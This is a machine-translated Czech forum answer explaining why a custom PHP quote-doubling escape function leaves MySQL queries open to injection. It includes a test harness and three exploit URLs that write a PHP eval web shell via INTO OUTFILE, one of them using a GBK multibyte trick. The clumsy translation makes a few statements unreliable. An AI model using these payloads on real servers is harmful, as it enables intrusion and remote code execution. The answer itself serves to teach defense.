Pokud jste jen nahrazující '
s ''
pak byste to mohli zneužít vložením \'
který se změní na \''
a to vám umožní vymanit se z toho, protože to vám dá „charakter doslovné“ jednoduché uvozovky a skutečné jednoduché uvozovky. Nicméně nahrazení "\\"
s "\\\\"
tento útok neguje. Dvojité jednoduché uvozovky se používají k "uniknutí" jednoduchých uvozovek pro MS-SQL, ale to není správné pro MySQL, ale může to fungovat.
Následující kódy dokazují že tato úniková funkce je bezpečná pro všechny kromě tří podmínek . Tento kód permutuje všechny možné varianty kontrolních stanov a každou z nich testuje, aby se ujistil, že nedojde k chybě s příkazem select uzavřeným do jediné citace. Tento kód byl testován na MySQL 5.1.41.
<?php
mysql_connect("localhost",'root','');
function escape($value) {
$value = str_replace("'","''",$value);
$value = str_replace("\\","\\\\",$value);
return $value;
}
$chars=array("'","\\","\0","a");
for($w=0;$w<4;$w++){
for($x=0;$x<4;$x++){
for($y=0;$y<4;$y++){
for($z=0;$z<4;$z++){
mysql_query("select '".escape($chars[$w].$chars[$x].$chars[$y].$chars[$z])."'") or die("!!!! $w $x $y $z ".mysql_error());
}
}
}
}
print "Escape function is safe :(";
?>
Chybný stav 1:nejsou použity žádné uvozovky.
mysql_query("select username from users where id=".escape($_GET['id']));
Využití:
http://localhost/sqli_test.php?id=union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php"
Chybný stav 2:byly použity dvojité uvozovky
mysql_query("select username from users where id=\"".escape($_GET['id'])."\"");
Využití:
http://localhost/sqli_test.php?id=" union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1
Chybná podmínka 2:jsou použity jednoduché uvozovky, nicméně používá se alternativní znaková sada. .
mysql_set_charset("GBK")
mysql_query("select username from users where id='".escape($_GET['id'])."'");
Využití:
http://localhost/sqli_test.php?id=%bf%27 union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1
Závěrem je vždy použít mysql_real_escape_string()
jako úniková rutina pro MySQL. Parametrizované knihovny dotazů jako pdo a adodb vždy používají mysql_real_escape_string()
při připojení k databázi mysql. addslashes()
je MNOHEM LEPŠÍ únikové rutiny, protože se stará o zranitelný stav 2. Je třeba poznamenat, že ani mysql_real_escape_string()
zastaví podmínku 1, ale knihovna parametrizovaných dotazů ano.